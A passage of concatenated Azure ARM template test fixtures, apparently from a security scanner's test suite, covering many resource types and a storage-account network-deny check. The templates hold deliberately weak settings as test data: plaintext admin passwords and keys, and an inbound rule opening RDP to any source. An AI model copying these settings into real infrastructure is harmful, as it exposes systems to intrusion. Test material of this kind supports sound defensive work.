Central US", "sku": { "name": "name" }, "properties": { "additionalProperties": {} } }, { "type": "Microsoft.Compute/availabilitySets", "apiVersion": "2017-12-01", "name": "sets", "location": "West Central US", "sku": { "name": "name" }, "properties": { "additionalProperties": {} } }, { "type": "Microsoft.Compute/virtualMachines", "apiVersion": "2017-12-01", "name": "sets", "location": "West Central US", "sku": { "name": "name" }, "properties": { "additionalProperties": {} } }, { "type": "Microsoft.Compute/virtualMachineScaleSets/extensions", "apiVersion": "2017-12-01", "name": "sets", "location": "West Central US", "sku": { "name": "name" }, "properties": { "publisher": "samplePublisher", "type": "virtualMachineScaleSets/extensions", "typeHandlerVersion": "123", "settings": {} } }, { "type": "Microsoft.Compute/availabilitySets", "apiVersion": "2017-03-30", "name": "sets", "location": "West Central US", "sku": { "name": "name" }, "properties": { "additionalProperties": {} } }, { "type": "Microsoft.Compute/virtualMachines/extensions", "apiVersion": "2017-12-01", "name": "sets", "location": "West Central US", "sku": { "name": "name" }, "properties": { "publisher": "samplePublisher", "type": "virtualMachines/extensions", "typeHandlerVersion": "123", "settings": {} } }, { "type": "Microsoft.Compute/virtualMachineScaleSets", "apiVersion": "2018-06-01", "name": "sets", "location": "Japan East", "sku": { "name": "name" }, "properties": { "virtualMachineProfile": { "networkProfile": { "networkInterfaceConfigurations": [ { "id": "123", "name": "name", "properties": { "ipConfigurations": [ { "name": "123" } ] } } ] } } } }, { "type": "Microsoft.Compute/disks", "apiVersion": "2016-04-30-preview", "name": "mydisks", "location": "West US", "properties": { "creationData": { "createOption": "Copy" } } }, { "type": "Microsoft.Compute/images", "apiVersion": "2016-04-30-preview", "name": "myimages", "location": "East US", "properties": { "sourceVirtualMachine": { "id": "id11" } } }, { "type": "Microsoft.Compute/snapshots", "apiVersion": "2016-04-30-preview", "name": "myname", "location": "East US 2", "properties": { "creationData": { "createOption": "Copy" } } }, { "type": "Microsoft.Compute/availabilitySets", "apiVersion": "2016-04-30-preview", "name": "sets", "location": "Japan West", "properties": { "managed": true } }, { "type": "Microsoft.Compute/virtualMachineScaleSets", "apiVersion": "2016-04-30-preview", "name": "sets", "location": "Japan East", "sku": { "name": "name" }, "properties": { "virtualMachineProfile": { "networkProfile": { "networkInterfaceConfigurations": [ { "id": "123", "name": "name", "properties": { "ipConfigurations": [ { "name": "123" } ] } } ] } } } }, { "type": "Microsoft.MachineLearning/commitmentPlans", "apiVersion": "2016-05-01-preview", "name": "myplans", "location": "West Central US", "sku": { "name": "mysku", "tier": "12", "capacity": 12 } }, { "type": "Microsoft.CognitiveServices/accounts", "apiVersion": "2016-02-01-preview", "name": "myaccounts", "sku": "[parameters('sku')]", "kind": "Face", "location": "Canada Central", "properties": { "prop1": "val1" } }, { "type": "Microsoft.EventHub/namespaces", "apiVersion": "2015-08-01", "name": "eventhubNamespaces", "location": "Central US", "sku": { "name": "Basic", "tier": "Basic" }, "properties": { "status": "Active", "enabled": false }, "resources": [ { "type": "eventhubs", "apiVersion": "2015-08-01", "location": "Canada East", "name": "23", "properties": { "status": "Creating" } }, { "type": "AuthorizationRules", "apiVersion": "2015-08-01", "location": "Canada East", "name": "234", "properties": { "rights": [ "Manage" ] } } ] }, { "type": "Microsoft.EventHub/namespaces/AuthorizationRules", "apiVersion": "2015-08-01", "name": "rules", "location": "East Asia", "properties": { "rights": [ "Listen", "Manage" ] } }, { "type": "Microsoft.ServiceBus/namespaces", "apiVersion": "2015-08-01", "location": "Canada Central", "name": "fds123", "sku": { "tier": "Premium" }, "properties": { "status": "Creating" }, "resources": [ { "type": "queues", "apiVersion": "2015-08-01", "name": "234", "location": "Canada Central", "properties": {}, "resources": [ { "type": "authorizationRules", "apiVersion": "2015-08-01", "location": "West US", "name": "jlk", "properties": { "rights": [ "Listen" ] } } ] } ] }, { "type": "Microsoft.ServiceBus/namespaces/topics/subscriptions", "apiVersion": "2015-08-01", "name": "123", "location": "Central US", "properties": { "requiresSession": true } }, { "type": "Microsoft.Resources/deployments", "apiVersion": "2016-09-01", "name": "[parameters('a')]", "properties": { "template": {}, "parameters": {}, "mode": "Complete" } }, { "apiVersion": "2016-09-01", "name": "nestedTemplate", "type": "Microsoft.Resources/deployments", "properties": { "mode": "Incremental", "template": { "$schema": "http://ryanstorage.blob.core.windows.net/fwlink/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": {}, "resources": [], "variables": {}, "outputs": { "result": { "value": "Hello World", "type": "string" } } } } }, { "apiVersion": "2017-05-10", "name": "nestedTemplate", "type": "Microsoft.Resources/deployments", "subscriptionId": "aa", "resourceGroup": "myRG", "copy": { "name": "copy1", "count": 12, "mode": "Serial", "batchSize": "[parameters('batchSize')]" }, "condition": true, "properties": { "mode": "Incremental", "template": { "$schema": "http://ryanstorage.blob.core.windows.net/fwlink/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": {}, "resources": [], "variables": {}, "outputs": { "result": { "value": "Hello World", "type": "string" } } } } }, { "name": "deploymentsSample", "apiVersion": "2016-09-01", "type": "Microsoft.Resources/deployments", "mode": "Incremental", "properties": { "mode": "Incremental" } }, { "apiVersion": "2018-05-01", "name": "resourceGroupsSample", "type": "Microsoft.Network/dnsZones", "location": "West US", "properties": { "level": "", "ResourceGroupProperties": {} } }, { "apiVersion": "2016-09-01", "name": "validLock", "type": "Microsoft.ServiceFabric/clusters", "location": "West US", "properties": { "managementEndpoint": "", "nodeTypes": [], "level": "CanNotDelete", "notes": "test note" } }, { "type": "Microsoft.ApiManagement/service", "name": "myservice", "apiVersion": "2016-07-07", "location": "Canada East", "sku": { "name": "Standard", "capacity": 1 }, "properties": { "publisherName": "admin@live.com", "publisherEmail": "abc" } }, { "type": "Microsoft.AnalysisServices/servers", "apiVersion": "2016-05-16", "name": "myservers", "location": "West US", "sku": { "name": "S1" }, "properties": { "asAdministrators": { "members": [ "abc" ] } } }, { "type": "Microsoft.ServiceFabric/clusters", "apiVersion": "2016-09-01", "name": "Microsoft.ServiceFabric/clusters", "location": "West US", "properties": { "nodeTypes": [ { "vmInstanceCount": 12, "name": "name", "clientConnectionEndpointPort": 443, "httpGatewayEndpointPort": 443, "isPrimary": true } ], "managementEndpoint": "https://abc.com" } }, { "type": "Microsoft.MachineLearning/webServices", "apiVersion": "2016-05-01-preview", "name": "myservice", "location": "East Asia", "properties": { "packageType": "Graph", "title": "abc", "package": { "nodes": { "prop1": { "assetId": "123" } } } } }, { "type": "Microsoft.Search/searchServices", "apiVersion": "2015-08-19", "location": "Central US", "sku": { "name": "standard" }, "name": "abc", "properties": { "hostingMode": "highDensity", "replicaCount": 10, "partitionCount": 12, "location": "West US" } }, { "type": "Microsoft.ContainerRegistry/registries", "apiVersion": "2016-06-27-preview", "name": "name", "location": "Canada East", "properties": { "storageAccount": { "name": "abc", "accessKey": "key" }, "adminUserEnabled": true } }, { "type": "Microsoft.Network/trafficManagerProfiles", "apiVersion": "2017-03-01", "name": "profile1", "location": "global", "properties": { "profileStatus": "Enabled", "trafficRoutingMethod": "Geographic", "dnsConfig": { "relativeName": "name1", "ttl": 120 }, "monitorConfig": { "protocol": "HTTPS", "port": 443, "path": "/healthprobe" } } }, { "type": "Microsoft.Insights/actionGroups", "apiVersion": "2017-03-01-preview", "name": "ag1", "location": "UK West", "properties": { "enabled": true, "groupShortName": "name1" } }, { "type": "Microsoft.Sql/servers", "apiVersion": "2014-04-01", "name": "server1", "location": "Japan West", "properties": { "administratorLogin": "aaa", "administratorLoginPassword": "password" }, "resources": [ { "type": "administrators", "apiVersion": "2014-04-01", "name": "activeDirectory", "properties": { "administratorType": "ActiveDirectory", "login": "myuser", "sid": "00000000-1111-2222-3333-444444444444", "tenantId": "00000000-1111-2222-3333-444444444444" } } ] }, { "type": "Microsoft.Sql/servers", "apiVersion": "2014-04-01", "name": "server1", "location": "Japan West", "properties": { "administratorLogin": "aaa", "administratorLoginPassword": "password" }, "resources": [ { "type": "databases", "apiVersion": "2014-04-01", "name": "admin1", "location": "west us", "properties": {} } ] }, { "type": "Microsoft.Sql/servers", "apiVersion": "2015-05-01-preview", "name": "sql", "location": "west us", "properties": { "administratorLogin": "mylogin", "administratorLoginPassword": "mypa$$w0rd" } }, { "type": "Microsoft.Network/routeTables", "apiVersion": "2017-03-01", "name": "table", "location": "West US", "properties": { "routes": [ { "name": "name1", "properties": { "addressPrefix": "aaa", "nextHopType": "Internet" } } ] } }, { "type": "Microsoft.Network/publicIPAddresses", "apiVersion": "2016-06-01", "name": "ip1", "location": "Brazil South", "properties": { "publicIPAllocationMethod": "Dynamic" } }, { "type": "Microsoft.Solutions/appliances", "name": "[parameters('dnsLabelPrefix')]", "apiVersion": "2016-09-01-preview", "kind": "ServiceCatalog", "location": "[resourceGroup().location]", "properties": { "applianceDefinitionId": "/subscriptions/d05f4e58-b80d-4ebd-a6d7-c9cac216cd39/resourceGroups/EuapAppDefs/providers/Microsoft.Solutions/applianceDefinitions/SinlgeVMBuildDemo", "managedResourceGroupId": "[concat('/subscriptions/', subscription().subscriptionId, '/resourceGroups/', resourceGroup().name, parameters('dnsLabelPrefix'), '-', uniqueString(concat(resourceGroup().name, parameters('dnsLabelPrefix'))))]", "parameters": { "adminUsername": { "value": "[parameters('adminUsername')]" }, "adminPassword": { "value": "[parameters('adminPassword')]" }, "dnsLabelPrefix": { "value": "[parameters('dnsLabelPrefix')]" } } } }, { "type": "Microsoft.Solutions/applianceDefinitions", "name": "[parameters('dnsLabelPrefix')]", "apiVersion": "2016-09-01-preview", "location": "eastus2euap", "properties": { "lockLevel": "None", "displayName": "NirajGSingleVMBuildDemo", "description": "NirajGSingleVMBuildDemo", "authorizations": [ { "principalId": "05250873-b7a8-4392-b112-cf3c65d72ee1", "roleDefinitionId": "8e3af657-a8ff-443c-a75c-2fe8c4bcb635" } ], "packageFileUri": "https://nirajgappliancepackages.blob.core.windows.net/singlestorageaccount/windowsManagedApp.zip" } }, { "type": "Microsoft.Network/trafficManagerProfiles", "apiVersion": "2017-05-01", "location": "global", "name": "abc", "properties": { "trafficRoutingMethod": "Geographic", "dnsConfig": { "relativeName": "name", "ttl": 123 }, "monitorConfig": { "protocol": "HTTPS", "port": 443 } } }, { "apiVersion": "2016-08-01", "name": "validSite", "type": "Microsoft.Web/sites", "properties": { "enabled": true, "reserved": false, "siteConfig": { "phpVersion": "v5.6", "httpLoggingEnabled": true, "appSettings": [ { "name": "appSetting1", "vallue": "appSettingValue1" }, { "name": "appSetting2", "vallue": "appSettingValue2" } ], "connectionStrings": [ { "name": "connectionStringName1", "type": "MySql", "connectionString": "connectionString1" }, { "name": "connectionStringName2", "type": "SQLAzure", "connectionString": "connectionString2" } ] }, "hostNameSslStates": [ { "name": "validSite.azurewebsites.net", "sslState": "SniEnabled", "hostType": "Standard" }, { "name": "validSite.scm.azurewebsites.net", "sslState": "SniEnabled", "hostType": "Repository" } ], "hostingEnvironmentProfile": { "id": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/aseName1" }, "serverFarmId": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/serverfarms/serverFarm1", "keyVaultId": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.KeyVault/vaults/vaultName1", "keyVaultSecretName": "secret1", "password": "0050159BAA314687BC64-BFFDFB066F4E", "cerBlob": "SDSD@%#^#$SDSDS" }, "resources": [ { "type": "config", "apiVersion": "2016-08-01", "name": "appsettings", "properties": { "setting1": "value1" } }, { "type": "config", "apiVersion": "2016-08-01", "name": "connectionstrings", "properties": { "setting1": { "type": "SQLServer", "value": "Connection string value" } } }, { "apiVersion": "2016-08-01", "type": "slots", "name": "staging", "properties": { "phpVersion": "v5.6", "httpLoggingEnabled": true }, "resources": [ { "type": "config", "apiVersion": "2016-08-01", "name": "appsettings", "properties": { "setting1": "value1" } }, { "apiVersion": "2016-08-01", "type": "config", "name": "connectionstrings", "properties": { "connectionName": { "type": "NotificationHub", "value": "Connection string value" } } } ] } ] }, { "type": "Microsoft.Web/sites", "apiVersion": "2016-08-01", "name": "site1", "location": "West US", "properties": { "enabled": true, "serverFarmId": "id", "hostNameSslStates": [ { "name": "s1", "sslState": "Disabled" } ] } }, { "type": "Microsoft.Web/connections", "apiVersion": "2016-06-01", "name": "connection", "location": "West US", "properties": {} }, { "type": "Microsoft.Web/sites/config", "apiVersion": "2016-08-01", "name": "a1/web", "location": "Japan West", "properties": { "numberOfWorkers": 1, "netFrameworkVersion": "v4.6" } }, { "type": "Microsoft.ApiManagement/service", "name": "name", "apiVersion": "2017-03-01", "location": "East US", "sku": { "name": "Developer" }, "properties": { "publisherEmail": "admin@live.com", "publisherName": "org" } }, { "type": "Microsoft.EventHub/namespaces", "apiVersion": "2017-04-01", "name": "namename", "location": "west us", "properties": { "createdAt": "2015-01-01" } }, { "type": "Microsoft.Web/customApis", "apiVersion": "2016-06-01", "name": "abc", "location": "West US 2", "properties": { "displayName": "name1" } }, { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2017-06-01", "name": "name1", "location": "West US 2", "sku": { "name": "Standard_GRS" }, "kind": "BlobStorage" }, { "type": "Microsoft.Compute/disks", "apiVersion": "2017-03-30", "name": "disk1", "location": "East US", "properties": { "creationData": { "createOption": "Empty" } } }, { "type": "Microsoft.Compute/galleries", "apiVersion": "2018-06-01", "name": "myGallery", "location": "East US", "properties": { "description": "Sample gallery description." } }, { "type": "Microsoft.Compute/galleries/images", "apiVersion": "2018-06-01", "name": "myGalleryImage", "location": "East US", "properties": { "osType": "Linux", "osState": "Generalized", "identifier": { "publisher": "samplePublisher", "offer": "sampleOffer", "sku": "sampleSku" } } }, { "type": "Microsoft.Compute/galleries/images/versions", "apiVersion": "2018-06-01", "name": "myGalleryImageVersion", "location": "East US", "properties": { "publishingProfile": { "source": { "managedImage": { "id": "/subscriptions/64646596-7b0f-4f89-86a8-01473e7a1e39/resourceGroups/rgName/providers/Microsoft.Compute/images/imageName" } } } } }, { "type": "Microsoft.Compute/galleries", "apiVersion": "2019-03-01", "name": "myGallery", "location": "East US", "properties": { "description": "Sample gallery description." } }, { "type": "Microsoft.Compute/galleries/images", "apiVersion": "2019-03-01", "name": "myGalleryImage", "location": "East US", "properties": { "osType": "Linux", "osState": "Generalized", "identifier": { "publisher": "samplePublisher", "offer": "sampleOffer", "sku": "sampleSku" } } }, { "type": "Microsoft.Compute/galleries/images/versions", "apiVersion": "2019-03-01", "name": "myGalleryImageVersion", "location": "East US", "properties": { "publishingProfile": { "source": { "managedImage": { "id": "/subscriptions/64646596-7b0f-4f89-86a8-01473e7a1e39/resourceGroups/rgName/providers/Microsoft.Compute/images/imageName" } } } } }, { "type": "Microsoft.ServiceFabric/clusters", "apiVersion": "2017-07-01-preview", "name": "name1", "location": "west us", "properties": { "managementEndpoint": "[concat('http://',reference(concat(variables('lbIPName'),'-','0')).dnsSettings.fqdn,':',variables('nt0fabricHttpGatewayPort'))]", "nodeTypes": [ { "name": "[variables('vmNodeType0Name')]", "clientConnectionEndpointPort": "[variables('nt0fabricTcpGatewayPort')]", "httpGatewayEndpointPort": "[variables('nt0fabricHttpGatewayPort')]", "isPrimary": true, "vmInstanceCount": "[parameters('nt0InstanceCount')]" } ] } }, { "type": "Microsoft.StreamAnalytics/streamingjobs", "apiVersion": "2016-03-01", "location": "west us", "name": "abc", "properties": {} }, { "type": "Microsoft.ServiceFabric/clusters", "apiVersion": "2017-07-01-preview", "location": "west us", "name": "na", "properties": { "nodeTypes": [], "managementEndpoint": "11" } }, { "type": "Microsoft.StreamAnalytics/streamingjobs", "apiVersion": "2016-03-01", "location": "west us", "name": "nam31", "properties": { "outputStartMode": "JobStartTime" } }, { "type": "Microsoft.MachineLearningExperimentation/accounts", "name": "[parameters('newAccountName')]", "apiVersion": "2017-05-01-preview", "location": "East US 2", "properties": { "keyVaultId": "keyVaultId", "vsoAccountId": "vsoAccountId", "storageAccount": { "storageAccountId": "userstoragearmId", "accessKey": "accessKey" } } }, { "apiVersion": "2016-11-01", "type": "Microsoft.ImportExport/jobs", "name": "[variables('importExportJobName')]", "location": "[resourceGroup().location]", "properties": { "storageAccountId": "[parameters('storageAccountId')]", "jobType": "abc" } }, { "type": "Microsoft.TimeSeriesInsights/environments", "apiVersion": "2017-11-15", "location": "West Us", "name": "EnvironmentTest", "sku": { "name": "S1", "capacity": 5 }, "properties": { "dataRetentionTime": "P31D" } }, { "name": "test1", "type": "Microsoft.Devices/provisioningServices", "apiVersion": "2017-08-21-preview", "location": "West US", "sku": { "name": "S1", "tier": "standard", "capacity": 1 }, "properties": { "authorizationPolicies": [ { "keyName": "testkey", "primaryKey": "CQN2K33r45/0WeIjpqmErV5EIvX8JZrozt3NEHCEkG8=", "secondaryKey": "RpkT42rNZl4/J08pI8tnsE2mPbsbuQ//+9x3HSs0XcU=", "rights": "ServiceConfig" } ], "iotHubs": [ { "name": "test.azure-devices.net", "connectionString": "#####################################", "location": "westus" } ] } }, { "type": "Microsoft.Relay/namespaces", "apiVersion": "2017-04-01", "location": "West Us", "name": "NamespaceTest", "sku": { "name": "Standard", "tier": "Standard" }, "properties": {} }, { "type": "Microsoft.ServiceBus/namespaces", "apiVersion": "2017-04-01", "location": "West Us", "name": "aa1234", "sku": { "name": "Basic", "tier": "Basic" }, "properties": {} }, { "apiVersion": "2017-09-01", "name": "[variables('loadBalancerName')]", "type": "Microsoft.Network/loadBalancers", "location": "[resourceGroup().location]", "properties": { "frontendIPConfigurations": [ { "name": "loadBalancerFrontEnd1", "properties": { "publicIPAddress": { "id": "[variables('publicIPAddressID1')]" } } } ] } }, { "apiVersion": "2017-10-01", "name": "[variables('loadBalancerName')]", "type": "Microsoft.Network/loadBalancers", "location": "[resourceGroup().location]", "properties": { "frontendIPConfigurations": [ { "name": "loadBalancerFrontEnd1", "properties": { "publicIPAddress": { "id": "[variables('publicIPAddressID1')]" } } } ] } }, { "apiVersion": "2017-10-01", "name": "[variables('loadBalancerName')]", "type": "Microsoft.Cache/Redis", "location": "[resourceGroup().location]", "properties": { "sku": { "name": "Standard", "family": "C", "capacity": 123 }, "additionalProperties": {} } }, { "apiVersion": "2017-10-01", "name": "[variables('loadBalancerName')]", "type": "Microsoft.Network/networkInterfaces", "location": "[resourceGroup().location]", "properties": { "frontendIPConfigurations": [ { "name": "loadBalancerFrontEnd1", "properties": { "publicIPAddress": { "id": "[variables('publicIPAddressID1')]" } } } ] } }, { "apiVersion": "2017-10-01", "name": "[variables('loadBalancerName')]", "type": "Microsoft.Network/networkInterfaces", "location": "[resourceGroup().location]", "properties": { "addtionalProperties": {} } }, { "apiVersion": "2017-10-01", "name": "[variables('loadBalancerName')]", "type": "Microsoft.Network/networkSecurityGroups", "location": "[resourceGroup().location]", "properties": { "addtionalProperties": {} } }, { "apiVersion": "2017-10-01", "name": "[variables('loadBalancerName')]", "type": "Microsoft.Network/publicIPAddresses", "location": "[resourceGroup().location]", "properties": { "addtionalProperties": {} } }, { "apiVersion": "2017-10-01", "name": "[variables('loadBalancerName')]", "type": "Microsoft.Network/routeTables", "location": "[resourceGroup().location]", "properties": { "addtionalProperties": {} } }, { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2017-10-01", "location": "West Us", "name": "sto725", "kind": "StorageV2", "sku": { "name": "Standard_GRS" }, "properties": { "supportsHttpsTrafficOnly": true } }, { "type": "Microsoft.Network/dnsZones", "name": "[parameters('newZoneName')]", "apiVersion": "2017-09-01", "location": "global", "properties": { "addtionalProperties": {} } }, { "type": "Microsoft.Network/dnsZones/TXT", "name": "[concat(parameters('newZoneName'), concat('/', parameters('newRecordName')))]", "apiVersion": "2017-09-01", "location": "global", "properties": { "TTL": 3600, "TXTRecords": [ { "value": [ "test", "abc" ] }, { "value": [ "123" ] } ] }, "dependsOn": [ "[concat('Microsoft.Network/dnsZones/', parameters('newZoneName'))]" ] }, { "type": "Microsoft.KeyVault/vaults", "name": "[parameters('keyvaultSettings').keyVaultName]", "apiVersion": "2016-10-01", "location": "[parameters('keyvaultSettings').location]", "properties": { "enabledForDeployment": true, "enabledForTemplateDeployment": true, "enabledForVolumeEncryption": false, "tenantId": "[parameters('keyvaultSettings').tenantId]", "accessPolicies": [ { "tenantId": "[parameters('keyvaultSettings').tenantId]", "objectId": "[parameters('keyvaultSettings').objectId]", "permissions": { "keys": [ "get" ], "secrets": [ "get" ] } } ], "sku": { "name": "[parameters('keyvaultSettings').vaultSku]", "family": "A" } } }, { "type": "Microsoft.KeyVault/vaults/secrets", "name": "[parameters('keyvaultSecrets').keyVaultName]", "apiVersion": "2016-10-01", "location": "[parameters('keyvaultSecrets').location]", "properties": { "enabledForDeployment": true, "enabledForTemplateDeployment": true, "enabledForVolumeEncryption": false, "tenantId": "[parameters('keyvaultSecrets').tenantId]", "accessPolicies": [ { "tenantId": "[parameters('keyvaultSecrets').tenantId]", "objectId": "[parameters('keyvaultSecrets').objectId]", "permissions": { "keys": [ "get" ], "secrets": [ "get" ] } } ], "sku": { "name": "[parameters('keyvaultSecrets').vaultSku]", "family": "A" } } }, { "type": "Microsoft.KeyVault/vaults", "name": "accessPolicies", "apiVersion": "2016-10-01", "location": "[parameters('keyvaultSettings').location]", "properties": { "accessPolicies": [ { "permissions": { "keys": "[parameters('b')]", "secrets": "[parameters('c')]" }, "objectId": "[parameters('d')]", "tenantId": "[parameters('e')]" } ], "sku": { "family": "[parameters('f')]", "name": "[parameters('g')]" }, "tenantId": "[parameters('h')]" } }, { "type": "Microsoft.Logic/workflows", "apiVersion": "2016-10-01", "name": "name", "location": "west us", "properties": {} }, { "type": "Microsoft.Logic/workflows", "apiVersion": "2017-07-01", "name": "name", "location": "west us", "properties": {} }, { "name": "mycontainergroup", "type": "Microsoft.ContainerInstance/containerGroups", "apiVersion": "2018-04-01", "location": "[resourceGroup().location]", "dependsOn": [], "properties": { "containers": [ { "name": "nginx", "properties": { "command": [], "image": "nginx", "ports": [ { "port": 80 } ], "resources": { "requests": { "cpu": 2, "memoryInGB": 8 } }, "volumeMounts": [ { "name": "secret", "mountPath": "/mnt/secrets", "readOnly": false } ] } } ], "osType": "Linux", "ipAddress": { "type": "Public", "dnsNameLabel": "demonginx", "ports": [ { "protocol": "TCP", "port": 80 } ] }, "volumes": [ { "name": "secret", "secret": { "sslcertificateData": "certificate-data", "sslcertificatePwd": "[base64('certificate-key')]" } } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountDefaultNetworkAccessDeny/storageAccountDefaultNetworkAccessDeny-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "adminUsername": { "type": "string", "metadata": { "description": "VM admin user name" } }, "adminPassword": { "type": "securestring", "metadata": { "description": "VM admin password" } }, "vnetName": { "type": "string", "defaultValue": "VNet1", "metadata": { "description": "Name of the virtual network" } }, "vnetAddressPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Address prefix for the virtual network" } }, "subnet1Name": { "type": "string", "defaultValue": "subnet1", "metadata": { "description": "Name of the first subnet in the VNet" } }, "subnet1Prefix": { "type": "string", "defaultValue": "10.0.1.0/24", "metadata": { "description": "Address prefix for subnet1" } }, "subnet2Name": { "type": "string", "defaultValue": "subnet2", "metadata": { "description": "Name of the second subnet in the VNet" } }, "subnet2Prefix": { "type": "string", "defaultValue": "10.0.2.0/24", "metadata": { "description": "Address prefix for subnet2" } }, "vmSize": { "type": "string", "defaultValue": "Standard_A1", "metadata": { "description": "Size of VM" } }, "storageAccountType": { "type": "string", "defaultValue": "Standard_LRS", "metadata": { "description": "Geo-replication type of Storage account" }, "allowedValues": [ "Standard_LRS", "Standard_GRS", "Standard_ZRS", "Premium_LRS" ] }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "storageAccountName": "[uniqueString(resourceGroup().id)]", "publicIpAddressName": "pip", "vmName": "testvm", "subnetId": [ "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet1Name'))]", "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet2Name'))]" ], "networkSecurityGroupName": "default-NSG" }, "resources": [ { "comments": "Default Network Security Group for template", "type": "Microsoft.Network/networkSecurityGroups", "apiVersion": "2019-08-01", "name": "[variables('networkSecurityGroupName')]", "location": "[parameters('location')]", "properties": { "securityRules": [ { "name": "default-allow-3389", "properties": { "priority": 1000, "access": "Allow", "direction": "Inbound", "destinationPortRange": "3389", "protocol": "Tcp", "sourceAddressPrefix": "*", "sourcePortRange": "*", "destinationAddressPrefix": "*" } } ] } }, { "apiVersion": "2017-09-01", "type": "Microsoft.Network/virtualNetworks", "name": "[parameters('vnetName')]", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]" ], "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('vnetAddressPrefix')]" ] }, "subnets": [ { "name": "subnet1", "properties": { "addressPrefix": "[parameters('subnet1Prefix')]", "serviceEndpoints": [ { "service": "Microsoft.Storage" } ], "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]" } } }, { "name": "subnet2", "properties": { "addressPrefix": "[parameters('subnet2Prefix')]" } } ] } }, { "apiVersion": "2017-09-01", "type": "Microsoft.Network/publicIPAddresses", "name": "[concat(variables('publicIPAddressName'), copyIndex())]", "location": "[parameters('location')]", "copy": { "name": "pipLoop", "count": 2 }, "properties": { "publicIPAllocationMethod": "Dynamic" } }, { "apiVersion": "2016-10-01", "type": "Microsoft.Network/networkInterfaces", "name": "[concat('nic', copyIndex())]", "location": "[parameters('location')]", "dependsOn": [ "[parameters('vnetName')]", "pipLoop" ], "copy": { "name": "nicLoop", "count": 2 }, "properties": { "ipConfigurations": [ { "name": "ipconfig1", "properties": { "privateIPAllocationMethod": "Dynamic", "subnet": { "id": "[variables('subnetId')[copyIndex()]]" }, "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses', concat(variables('publicIPAddressName'), copyIndex()))]" } } } ] } }, { "type": "Microsoft.Storage/storageAccounts", "name": "[variables('storageAccountName')]", "apiVersion": "2017-06-01", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.Network/virtualNetworks/', parameters('vnetName'))]" ], "sku": { "name": "[parameters('storageAccountType')]" }, "kind": "Storage", "properties": { "networkAcls": { "bypass": "None", "virtualNetworkRules": [ { "id": "[variables('subnetId')[0]]", "action": "Allow" } ], "defaultAction": "Deny" } } }, { "apiVersion": "2017-03-30", "type": "Microsoft.Compute/availabilitySets", "name": "as1", "location": "[parameters('location')]", "sku": { "name": "Aligned" }, "properties": { "platformFaultDomainCount": 2, "platformUpdateDomainCount": 2 } }, { "apiVersion": "2017-03-30", "type": "Microsoft.Compute/virtualMachines", "name": "[concat(variables('vmName'), copyIndex())]", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.Storage/storageAccounts/', variables('storageAccountName'))]", "nicLoop", "Microsoft.Compute/availabilitySets/as1" ], "copy": { "name": "vmLoop", "count": 2 }, "properties": { "availabilitySet": { "id": "[resourceId('Microsoft.Compute/availabilitySets', 'as1')]" }, "hardwareProfile": { "vmSize": "[parameters('vmSize')]" }, "osProfile": { "computername": "[concat(variables('vmName'), copyIndex())]", "adminUsername": "[parameters('adminUserName')]", "adminPassword": "[parameters('adminPassword')]" }, "storageProfile": { "imageReference": { "publisher": "MicrosoftWindowsServer", "offer": "WindowsServer", "sku": "2016-Datacenter", "version": "latest" }, "osDisk": { "createOption": "FromImage", "managedDisk": { "storageAccountType": "Standard_LRS" } }, "dataDisks": [] }, "networkProfile": { "networkInterfaces": [ { "id": "[resourceId('Microsoft.Network/networkInterfaces', concat('nic',copyIndex()))]" } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountDefaultNetworkAccessDeny/storageAccountDefaultNetworkAccessDeny-PASSED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "adminUsername": { "type": "string", "metadata": { "description": "VM admin user name" } }, "adminPassword": { "type": "securestring", "metadata": { "description": "VM admin password" } }, "vnetName": { "type": "string", "defaultValue": "VNet1", "metadata": { "description": "Name of the virtual network" } }, "vnetAddressPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Address prefix for the virtual network" } }, "subnet1Name": { "type": "string", "defaultValue": "subnet1", "metadata": { "description": "Name of the first subnet in the VNet" } }, "subnet1Prefix": { "type": "string", "defaultValue": "10.0.1.0/24", "metadata": { "description": "Address prefix for subnet1" } }, "subnet2Name": { "type": "string", "defaultValue": "subnet2", "metadata": { "description": "Name of the second subnet in the VNet" } }, "subnet2Prefix": { "type": "string", "defaultValue": "10.0.2.0/24", "metadata": { "description": "Address prefix for subnet2" } }, "vmSize": { "type": "string", "defaultValue": "Standard_A1", "metadata": { "description": "Size of VM" } }, "storageAccountType": { "type": "string", "defaultValue": "Standard_LRS", "metadata": { "description": "Geo-replication type of Storage account" }, "allowedValues": [ "Standard_LRS", "Standard_GRS", "Standard_ZRS", "Premium_LRS" ] }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "storageAccountName": "[uniqueString(resourceGroup().id)]", "publicIpAddressName": "pip", "vmName": "testvm", "subnetId": [ "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet1Name'))]", 